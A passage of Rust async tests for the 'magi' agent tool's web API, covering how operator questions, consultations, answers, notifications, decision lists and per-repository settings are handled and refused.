13535        let path = format!("/api/questions/{id}/say");
13536
13537        let res = fx
13538            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13539            .await;
13540        assert_eq!(res.status, 200, "{}", res.body);
13541        let body = res.json();
13542        assert_eq!(body["status"], "open", "talking back is not a decision");
13543        assert_eq!(body["answer"], Value::Null);
13544        assert_eq!(body["thread"][0]["who"], "operator");
13545        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13546        assert_eq!(body["waiting_on_agent"], true);
13547        // Still open, still counted, still exactly one question.
13548        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13549    }
13550
13551    #[tokio::test]
13552    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13553        let fx = Fixture::start().await;
13554        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13555
13556        let list = fx.get("/api/questions").await.json();
13557        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13558
13559        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13560        assert_eq!(res.status, 409, "{}", res.body);
13561        let q = fx.questions().get(&id).unwrap();
13562        assert!(q.status.open());
13563        assert!(q.consult.is_none());
13564    }
13565
13566    #[tokio::test]
13567    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13568        let fx = Fixture::start().await;
13569        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13570        let cfg = Config {
13571            agents: vec![crate::config::AgentSpec {
13572                id: "mock".to_owned(),
13573                kind: crate::config::AgentKind::Command,
13574                model: None,
13575                command: vec!["true".to_owned()],
13576                extra_args: Vec::new(),
13577                env: Default::default(),
13578                prompt_delivery: None,
13579                max_turn_secs: None,
13580            }],
13581            ..Config::default()
13582        };
13583        let talk = crate::talk::begin(
13584            &fx.talks(),
13585            &cfg,
13586            fx.home.path().to_path_buf(),
13587            Some("mock"),
13588        )
13589        .unwrap();
13590        let mut task = Task::new(
13591            "t".to_owned(),
13592            "Do it".to_owned(),
13593            PathBuf::from("/repo/magi"),
13594            Source::Agent {
13595                run: talk.id.clone(),
13596                node: crate::queue::CHAT_NODE.to_owned(),
13597            },
13598        );
13599        task.start("20260902-000000-beef".to_owned());
13600        fx.queue().put(&mut task).unwrap();
13601
13602        let list = fx.get("/api/questions").await.json();
13603        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13604        assert_eq!(
13605            list[0]["choices"],
13606            serde_json::json!(["SQLite", "Redis"]),
13607            "the hand-over is never a choice"
13608        );
13609        fx.questions()
13610            .update(&id, |q| {
13611                q.node = crate::land::APPROVAL_NODE.into();
13612                q.choices = vec!["merge".into(), "hold".into()];
13613                Ok(())
13614            })
13615            .unwrap();
13616        let list = fx.get("/api/questions").await.json();
13617        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13618        assert_eq!(list[0]["can_consult_chat"], true);
13619        fx.questions()
13620            .update(&id, |q| {
13621                q.node = crate::bump::NOTICE_NODE.into();
13622                Ok(())
13623            })
13624            .unwrap();
13625        let list = fx.get("/api/questions").await.json();
13626        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13627        assert_eq!(list[0]["can_consult_chat"], false);
13628    }
13629
13630    #[tokio::test]
13631    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13632        let fx = Fixture::start().await;
13633        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13634        fx.questions()
13635            .update(&id, |q| {
13636                q.node = crate::land::APPROVAL_NODE.into();
13637                q.choices = vec!["merge".into(), "hold".into()];
13638                Ok(())
13639            })
13640            .unwrap();
13641        let cfg = Config {
13642            agents: vec![crate::config::AgentSpec {
13643                id: "mock".to_owned(),
13644                kind: crate::config::AgentKind::Command,
13645                model: None,
13646                command: vec!["true".to_owned()],
13647                extra_args: Vec::new(),
13648                env: Default::default(),
13649                prompt_delivery: None,
13650                max_turn_secs: None,
13651            }],
13652            ..Config::default()
13653        };
13654        // Not a git working tree, so its `magi.toml` is read from disk.
13655        let repo = fx.home.path().join("chat-repo");
13656        std::fs::create_dir_all(&repo).unwrap();
13657        let toml = repo.join("magi.toml");
13658        std::fs::write(&toml, "this is = = not toml").unwrap();
13659        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13660        let mut task = Task::new(
13661            "t".to_owned(),
13662            "Do it".to_owned(),
13663            PathBuf::from("/repo/magi"),
13664            Source::Agent {
13665                run: talk.id.clone(),
13666                node: crate::queue::CHAT_NODE.to_owned(),
13667            },
13668        );
13669        task.start("20260902-000000-beef".to_owned());
13670        fx.queue().put(&mut task).unwrap();
13671
13672        let path = format!("/api/questions/{id}/consult");
13673        let res = fx.post(&path, None).await;
13674        assert!(res.status >= 400, "{}", res.body);
13675        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13676        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13677
13678        std::fs::write(&toml, "").unwrap();
13679        let res = fx.post(&path, None).await;
13680        assert_eq!(res.status, 202, "{}", res.body);
13681        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13682        let q = fx.questions().get(&id).unwrap();
13683        assert!(q.status.open());
13684        assert!(q.answer.is_none());
13685        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13686        assert_eq!(res.json()["can_consult_chat"], true);
13687        let list = fx.get("/api/questions").await.json();
13688        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13689        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13690
13691        let res = fx
13692            .post(
13693                &format!("/api/questions/{id}/answer"),
13694                Some(r#"{"choice":"hold"}"#),
13695            )
13696            .await;
13697        assert_eq!(res.status, 200, "{}", res.body);
13698        assert_eq!(res.json()["answer"]["choice"], "hold");
13699        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13700        assert_eq!(res.json()["can_consult_chat"], false);
13701        assert_eq!(fx.post(&path, None).await.status, 409);
13702
13703        let mut talk = fx.talks().get(&talk.id).unwrap();
13704        // This test closes the history view, not an unconsumed consultation.
13705        crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
13706        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13707        let list = fx.get("/api/questions").await.json();
13708        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13709        assert_eq!(list[0]["origin_chat_closed"], true);
13710        assert_eq!(list[0]["can_consult_chat"], false);
13711
13712        fx.talks().remove(&talk.id).unwrap();
13713        let list = fx.get("/api/questions").await.json();
13714        assert_eq!(list[0]["origin_chat"], Value::Null);
13715        assert_eq!(list[0]["origin_chat_closed"], false);
13716        assert_eq!(list[0]["can_consult_chat"], false);
13717    }
13718
13719    #[tokio::test]
13720    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13721        let fx = Fixture::start().await;
13722        let store = fx.questions();
13723        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13724        store.beat(&id, ask::WaiterKind::Asker);
13725        assert_eq!(
13726            fx.get("/api/health").await.json()["questions_needs_owner"],
13727            1
13728        );
13729
13730        // The owner asks back instead of deciding: the ask bar, the nav badge
13731        // and the title must stop naming this question, because there is
13732        // nothing to decide until the agent answers - `status` alone cannot
13733        // say that, which is the whole reason `questions_needs_owner` exists
13734        // alongside `questions_open`.
13735        let res = fx
13736            .post(
13737                &format!("/api/questions/{id}/say"),
13738                Some(r#"{"body":"why not Postgres?"}"#),
13739            )
13740            .await;
13741        assert_eq!(res.status, 200, "{}", res.body);
13742        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13743        assert_eq!(
13744            fx.get("/api/health").await.json()["questions_needs_owner"],
13745            0,
13746            "waiting on the agent is not waiting on the owner"
13747        );
13748
13749        // `magi ask --thread` replying is what brings the owner count back -
13750        // the same event that would resume the CLI call blocked in `magi
13751        // ask`.
13752        let mut q = store.get(&id).expect("get");
13753        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13754            .expect("reply");
13755        store.put(&mut q).expect("put");
13756        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13757        assert_eq!(
13758            fx.get("/api/health").await.json()["questions_needs_owner"],
13759            1,
13760            "the agent's reply is what should light the banner back up"
13761        );
13762    }
13763
13764    #[tokio::test]
13765    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13766        let fx = Fixture::start().await;
13767        let store = fx.questions();
13768
13769        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13770        let res = fx
13771            .post(
13772                &format!("/api/questions/{empty_id}/say"),
13773                Some(r#"{"body":"   "}"#),
13774            )
13775            .await;
13776        assert_eq!(res.status, 400, "{}", res.body);
13777
13778        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13779        let mut answered = store.get(&answered_id).expect("get");
13780        answered
13781            .answer(Answer::Choice("SQLite".to_owned()))
13782            .expect("answer");
13783        store.put(&mut answered).expect("put");
13784        let res = fx
13785            .post(
13786                &format!("/api/questions/{answered_id}/say"),
13787                Some(r#"{"body":"still there?"}"#),
13788            )
13789            .await;
13790        assert_eq!(res.status, 409, "{}", res.body);
13791
13792        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13793        let mut abandoned = store.get(&abandoned_id).expect("get");
13794        abandoned.abandon("timed out");
13795        store.put(&mut abandoned).expect("put");
13796        let res = fx
13797            .post(
13798                &format!("/api/questions/{abandoned_id}/say"),
13799                Some(r#"{"body":"still there?"}"#),
13800            )
13801            .await;
13802        assert_eq!(res.status, 409, "{}", res.body);
13803    }
13804
13805    #[tokio::test]
13806    async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
13807        let fx = Fixture::start().await;
13808        let questions = fx.questions();
13809        let mut q = Question::new(
13810            String::new(),
13811            crate::bump::NOTICE_NODE.into(),
13812            "release-watch".into(),
13813            "Release PR approval".into(),
13814            "Saved head".into(),
13815            vec!["merge".into(), "hold".into()],
13816        );
13817        q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
13818        q.merge_target = Some(crate::merge_decision::Target {
13819            pr: "https://example.test/mebae/pull/100".into(),
13820            head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
13821            language: "en".into(),
13822        });
13823        q.answer(Answer::Choice("merge".into())).unwrap();
13824        q.answer_delivered = true;
13825        questions.put(&mut q).unwrap();
13826        let dir = fx.home.path().join("notifications/task-chat-migration-v1");
13827        std::fs::create_dir_all(&dir).unwrap();
13828        std::fs::write(
13829            dir.join("state.json"),
13830            serde_json::to_vec(&serde_json::json!({
13831                "schema": 1, "sources": [q.id], "pending": [q.id]
13832            }))
13833            .unwrap(),
13834        )
13835        .unwrap();
13836        let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
13837        for migrated in [false, true] {
13838            if migrated {
13839                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
13840            }
13841            for endpoint in ["/api/questions", "/api/questions/core"] {
13842                let response = fx.get(endpoint).await;
13843                assert_eq!(response.status, 200);
13844                let rows = response.json();
13845                let row = rows
13846                    .as_array()
13847                    .unwrap()
13848                    .iter()
13849                    .find(|r| r["id"] == q.id)
13850                    .unwrap();
13851                assert_eq!(row["status"], "answered");
13852                assert_eq!(row["answer"]["choice"], "merge");
13853                assert_eq!(row["can_answer"], false);
13854                assert_eq!(row["history_only"], true);
13855            }
13856            let answer = fx
13857                .post(
13858                    &format!("/api/questions/{}/answer", q.id),
13859                    Some(r#"{"choice":"merge"}"#),
13860                )
13861                .await;
13862            assert_eq!(answer.status, 409, "{}", answer.body);
13863            assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
13864        }
13865    }
13866
13867    #[tokio::test]
13868    async fn an_answer_the_question_does_not_offer_is_refused() {
13869        let fx = Fixture::start().await;
13870        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13871        let path = format!("/api/questions/{id}/answer");
13872
13873        for body in [
13874            r#"{"choice":"Postgres"}"#,
13875            r#"{"text":"whatever you think"}"#,
13876            r#"{"choice":"Redis","text":"both"}"#,
13877            r#"{}"#,
13878        ] {
13879            let res = fx.post(&path, Some(body)).await;
13880            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13881            assert!(res.json()["error"].is_string(), "{}", res.body);
13882        }
13883        // Nothing above may have answered it.
13884        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13885    }
13886
13887    #[tokio::test]
13888    async fn a_free_text_question_takes_text_and_not_a_choice() {
13889        let fx = Fixture::start().await;
13890        let id = ask(&fx, "What should the flag be called?", &[]);
13891        fx.questions().beat(&id, ask::WaiterKind::Asker);
13892        let path = format!("/api/questions/{id}/answer");
13893
13894        assert_eq!(
13895            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13896            400
13897        );
13898        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13899        assert_eq!(res.status, 200, "{}", res.body);
13900        assert_eq!(res.json()["answer"]["text"], "--json");
13901    }
13902
13903    #[tokio::test]
13904    async fn an_unknown_question_is_a_json_404() {
13905        let fx = Fixture::start().await;
13906        let res = fx
13907            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13908            .await;
13909        assert_eq!(res.status, 404, "{}", res.body);
13910        assert!(res.json()["error"].is_string());
13911    }
13912
13913    #[tokio::test]
13914    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13915        let fx = Fixture::start().await;
13916        let questions = Questions::at(fx.home.path().join("questions"));
13917        let store = Notices::at(fx.home.path().join("notifications"));
13918        let mut q = ask::Question::new(
13919            "t1".into(),
13920            "conduct".into(),
13921            "conductor".into(),
13922            "Continue?".into(),
13923            String::new(),
13924            Vec::new(),
13925        );
13926        questions.put(&mut q).unwrap();
13927        let mut n = Notice::warn("task:t1", "Task t1 is held.");
13928        n.covered_by = Some(q.id.clone());
13929        let n = store.raise(n).unwrap();
13930        let listed = fx.get("/api/notifications").await.json();
13931        assert_eq!(listed["items"][0]["answerable_question"], q.id);
13932        questions
13933            .update(&q.id, |q| {
13934                q.abandon("run gone");
13935                Ok(())
13936            })
13937            .unwrap();
13938        let listed = fx.get("/api/notifications").await.json();
13939        assert!(listed["items"][0]["answerable_question"].is_null());
13940        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13941        assert!(
13942            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13943                .unwrap()
13944                .contains("answerable_question")
13945        );
13946    }
13947
13948    #[tokio::test]
13949    async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
13950        let fx = Fixture::start().await;
13951        let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
13952        let task = crate::queue::Task::new(
13953            "work".into(),
13954            "work".into(),
13955            fx.home.path().into(),
13956            crate::queue::Source::Human,
13957        );
13958        let inquiry = outbox
13959            .file(&task, None, "test".into(), "入力待ち", "詳細")
13960            .unwrap();
13961        let root = fx.home.path().join("notifications/task-inquiries");
13962        std::fs::write(root.join("broken.json"), "{").unwrap();
13963        let mut unsupported = inquiry.clone();
13964        unsupported.id = "unsupported".into();
13965        unsupported.schema = 99;
13966        std::fs::write(
13967            root.join("unsupported.json"),
13968            serde_json::to_vec(&unsupported).unwrap(),
13969        )
13970        .unwrap();
13971        let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
13972        for _ in 0..2 {
13973            let response = fx.get("/api/decisions").await;
13974            assert_eq!(response.status, 200, "{}", response.body);
13975            let listed = response.json();
13976            assert_eq!(listed["unreadable"], 2);
13977            assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13978            assert_eq!(listed["items"][0]["id"], inquiry.id);
13979            assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
13980        }
13981        assert_eq!(
13982            before,
13983            std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
13984        );
13985        assert!(outbox.list().is_err());
13986        std::fs::remove_file(root.join("broken.json")).unwrap();
13987        std::fs::remove_file(root.join("unsupported.json")).unwrap();
13988        assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
13989    }
13990
13991    #[tokio::test]
13992    async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
13993        let fx = Fixture::start().await;
13994        let root = fx.home.path().join("notifications/task-chat-migration-v1");
13995        std::fs::create_dir_all(&root).unwrap();
13996        let journal = serde_json::json!({
13997            "schema": 1, "pending": ["saved-inquiry"],
13998            "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
13999        });
14000        let bytes = serde_json::to_vec(&journal).unwrap();
14001        std::fs::write(root.join("state.json"), &bytes).unwrap();
14002        for _ in 0..2 {
14003            let response = fx.get("/api/decisions").await;
14004            assert_eq!(response.status, 200);
14005            let listed = response.json();
14006            assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
14007            assert!(listed["items"].as_array().unwrap().is_empty());
14008            assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
14009        }
14010        // An unreadable journal must not make the endpoint hide the list.
14011        std::fs::write(root.join("state.json"), b"{").unwrap();
14012        let response = fx.get("/api/decisions").await;
14013        assert_eq!(response.status, 200);
14014        assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
14015    }
14016
14017    #[tokio::test]
14018    async fn notifications_list_read_dismiss_and_health_agree() {
14019        let fx = Fixture::start().await;
14020        let store = Notices::at(fx.home.path().join("notifications"));
14021        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14022        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14023
14024        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14025        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14026
14027        store
14028            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14029            .unwrap();
14030        let health = fx.get("/api/health").await.json();
14031        assert_eq!(health["notifications_unread"], 2);
14032        assert_ne!(
14033            health["notifications_rev"], rev0,
14034            "the badge must move live"
14035        );
14036
14037        let listed = fx.get("/api/notifications").await.json();
14038        assert_eq!(listed["unread"], 2);
14039        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14040        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14041
14042        let read = fx
14043            .post(&format!("/api/notifications/{}/read", a.id), None)
14044            .await;
14045        assert_eq!(read.status, 200, "{}", read.body);
14046        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14047
14048        let gone = fx
14049            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14050            .await;
14051        assert_eq!(gone.status, 200, "{}", gone.body);
14052        let listed = fx.get("/api/notifications").await.json();
14053        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14054        assert_eq!(listed["unread"], 0);
14055
14056        store.raise(Notice::info("x", "again")).unwrap();
14057        let all = fx.post("/api/notifications/read-all", None).await;
14058        assert_eq!(all.status, 200, "{}", all.body);
14059        assert_eq!(all.json()["marked"], 1);
14060        assert_eq!(
14061            fx.get("/api/health").await.json()["notifications_unread"],
14062            0
14063        );
14064
14065        let missing = fx.post("/api/notifications/nope/read", None).await;
14066        assert_eq!(missing.status, 404, "{}", missing.body);
14067        assert!(missing.json()["error"].is_string());
14068    }
14069
14070    /// New work reaches the queue through `magi task add`, a standing talk's
14071    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
14072    /// so the compose form and that route are gone. The tests that covered
14073    /// that route's validation went with it, and nothing was left asserting
14074    /// it stays gone — so a re-added handler would silently let the phone
14075    /// file briefs no one validated.
14076    #[tokio::test]
14077    async fn a_task_cannot_be_filed_over_the_phone_directly() {
14078        let f = Fixture::start().await;
14079
14080        let res = f
14081            .post(
14082                "/api/queue",
14083                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14084            )
14085            .await;
14086
14087        assert_eq!(
14088            res.status, 405,
14089            "POST /api/queue must not be a route: {}",
14090            res.body
14091        );
14092        assert!(
14093            f.queue().list().is_empty(),
14094            "a task filed by a route that does not exist must not reach the disk"
14095        );
14096        // The path itself is still served — the Queue view reads it — and the
14097        // per-task controls are untouched by the entry being removed.
14098        assert_eq!(f.get("/api/queue").await.status, 200);
14099    }
14100
14101    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
14102    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14103        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14104            .expect("checkout dir");
14105    }
14106
14107    /// Two command agents, so a config needs no real CLI.
14108    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14109
14110    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14111        let tmp = TempDir::new().expect("tempdir");
14112        let repo = tmp.path().join("repo");
14113        std::fs::create_dir_all(&repo).expect("repo dir");
14114        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14115        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14116        if let Some(text) = machine_toml {
14117            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14118            std::fs::write(&machine, text).expect("machine toml");
14119        }
14120        (tmp, repo, machine)
14121    }
14122
14123    async fn settings_checkout(path: &FsPath, text: &str) {
14124        std::fs::create_dir_all(path).unwrap();
14125        std::fs::write(path.join("magi.toml"), text).unwrap();
14126        for args in [
14127            vec!["init", "-b", "main"],
14128            vec!["add", "magi.toml"],
14129            vec![
14130                "-c",
14131                "user.name=Test",
14132                "-c",
14133                "user.email=test@example.invalid",
14134                "commit",
14135                "-m",
14136                "fixture",
14137            ],
14138            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14139            vec![
14140                "symbolic-ref",
14141                "refs/remotes/origin/HEAD",
14142                "refs/remotes/origin/main",
14143            ],
14144        ] {
14145            crate::git::git(path, &args).await.unwrap();
14146        }
14147    }
14148
14149    #[tokio::test]
14150    async fn settings_context_handlers_validate_and_save_without_a_socket() {
14151        let (tmp, repo, machine) =
14152            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14153        let root = tmp.path().join("roots");
14154        let selected = root.join("host/owner/selected");
14155        settings_checkout(
14156            &selected,
14157            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14158        )
14159        .await;
14160        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14161        let before = std::fs::read(&machine).unwrap();
14162        let ui = Arc::new(
14163            Ui::new(
14164                Queue::at(tmp.path().join("queue")),
14165                Questions::at(tmp.path().join("questions")),
14166                Talks::at(tmp.path().join("talks")),
14167                tmp.path().join("runs"),
14168                tmp.path().to_path_buf(),
14169                repo.clone(),
14170            )
14171            .with_machine_config(Some(machine.clone())),
14172        );
14173        let query = || {
14174            Query(SettingsQuery {
14175                repo: Some(selected.clone()),
14176            })
14177        };
14178        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14179        assert!(v.error.is_none(), "{:?}", v.error);
14180        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14181        assert_eq!(conductor.source, "repo");
14182        assert_eq!(
14183            conductor.machine_value,
14184            Some(toml::Value::String("a".into()))
14185        );
14186        assert!(!conductor.editable);
14187        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14188        assert_eq!(
14189            judges.count.as_ref().unwrap().machine_value,
14190            Some(toml::Value::Integer(1))
14191        );
14192        assert!(
14193            !v.roles
14194                .iter()
14195                .find(|r| r.key == "reviewers")
14196                .unwrap()
14197                .editable
14198        );
14199        let unknown = || {
14200            Query(SettingsQuery {
14201                repo: Some(tmp.path().to_path_buf()),
14202            })
14203        };
14204        assert_eq!(
14205            settings_get(State(ui.clone()), unknown())
14206                .await
14207                .unwrap_err()
14208                .status,
14209            StatusCode::UNPROCESSABLE_ENTITY
14210        );
14211        let body = || {
14212            Ok(Json(RolesBody {
14213                revision: v.revision.clone(),
14214                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14215                counts: Default::default(),
14216            }))
14217        };
14218        assert_eq!(
14219            settings_put_roles(State(ui.clone()), unknown(), body())
14220                .await
14221                .unwrap_err()
14222                .status,
14223            StatusCode::UNPROCESSABLE_ENTITY
14224        );
14225        assert_eq!(std::fs::read(&machine).unwrap(), before);
14226        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14227            .await
14228            .unwrap();
14229        assert_eq!(
14230            saved.repo,
14231            selected.canonicalize().unwrap().display().to_string()
14232        );
14233        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14234        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14235        // A cache miss refreshes the stable candidate list exactly for validation.
14236        let fresh = root.join("host/owner/fresh");
14237        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14238        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14239            .await
14240            .unwrap();
14241        assert_eq!(fresh_view.repositories.len(), 3);
14242    }
14243
14244    #[tokio::test]
14245    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14246        let (tmp, repo, machine) = settings_dirs(
14247            "[roles]\nreviewers = [\"a\"]\n",
14248            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14249        );
14250        let root = tmp.path().join("roots");
14251        let selected = root.join("host/owner/selected");
14252        settings_checkout(
14253            &selected,
14254            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14255        )
14256        .await;
14257        let broken = root.join("host/owner/broken");
14258        settings_checkout(&broken, "[roles\nbroken").await;
14259        let machine_text = format!(
14260            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14261            toml::Value::String(root.display().to_string())
14262        );
14263        std::fs::write(&machine, &machine_text).unwrap();
14264        let originals: Vec<_> = [&repo, &selected, &broken]
14265            .iter()
14266            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14267            .collect();
14268        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14269        let default = f.get("/api/settings").await.json();
14270        assert_eq!(
14271            default["repo"],
14272            repo.canonicalize().unwrap().display().to_string()
14273        );
14274        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14275        let query = format!("?repo={}", selected.display());
14276        let res = f.get(&format!("/api/settings{query}")).await;
14277        assert_eq!(res.status, 200, "{}", res.body);
14278        let v = res.json();
14279        assert!(v["error"].is_null(), "{v}");
14280        assert_eq!(v["repositories"], default["repositories"]);
14281        let role = |key: &str| {
14282            v["roles"]
14283                .as_array()
14284                .unwrap()
14285                .iter()
14286                .find(|r| r["key"] == key)
14287                .unwrap()
14288        };
14289        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14290        assert_eq!(role("advisors")["source"], "repo");
14291        assert_eq!(role("advisors")["editable"], false);
14292        assert!(role("advisors")["machine_value"].is_null());
14293        assert_eq!(role("judges")["count"]["value"], 2);
14294        assert_eq!(role("judges")["count"]["machine_value"], 1);
14295        assert_eq!(role("judges")["count"]["source"], "repo");
14296        let source = role("judges")["count"]["source_path"].as_str().unwrap();
14297        assert!(
14298            source.contains("origin/main") && !source.contains("magi/config/"),
14299            "{source}"
14300        );
14301        assert_eq!(
14302            role("reviewers")["editable"],
14303            false,
14304            "default context outside roots must protect its declarations"
14305        );
14306        let body =
14307            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14308        let unknown = format!("?repo={}", tmp.path().display());
14309        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14310        assert_eq!(
14311            f.put(&format!("/api/settings/roles{unknown}"), &body)
14312                .await
14313                .status,
14314            422
14315        );
14316        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14317        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14318            .to_string();
14319        assert_eq!(
14320            f.put(&format!("/api/settings/roles{query}"), &refuse)
14321                .await
14322                .status,
14323            422
14324        );
14325        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14326        assert_eq!(saved.status, 200, "{}", saved.body);
14327        assert_eq!(saved.json()["repo"], v["repo"]);
14328        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14329        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14330        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14331            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14332        }
14333        let error = f
14334            .get(&format!("/api/settings?repo={}", broken.display()))
14335            .await;
14336        assert_eq!(error.status, 200);
14337        assert!(error.json()["error"]["message"].is_string());
14338        assert_eq!(error.json()["repositories"], default["repositories"]);
14339    }
14340
14341    #[tokio::test]
14342    async fn settings_get_reports_sources_and_the_advisors_fallback() {
14343        let (_tmp, repo, machine) =
14344            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14345        let f = Fixture::with_repo_and_machine(repo, machine).await;
14346        let res = f.get("/api/settings").await;
14347        assert_eq!(res.status, 200, "{}", res.body);
14348        let v = res.json();
14349        assert!(v["error"].is_null(), "{v}");
14350        let role = |k: &str| {
14351            v["roles"]
14352                .as_array()
14353                .and_then(|r| r.iter().find(|x| x["key"] == k))
14354                .cloned()
14355                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14356        };
14357        assert_eq!(role("judges")["source"], "machine");
14358        assert_eq!(role("judges")["editable"], true);
14359        assert_eq!(role("implementers")["source"], "default");
14360        let adv = role("advisors");
14361        assert_eq!(adv["fallback"], "judges");
14362        assert!(
14363            adv["seats"]
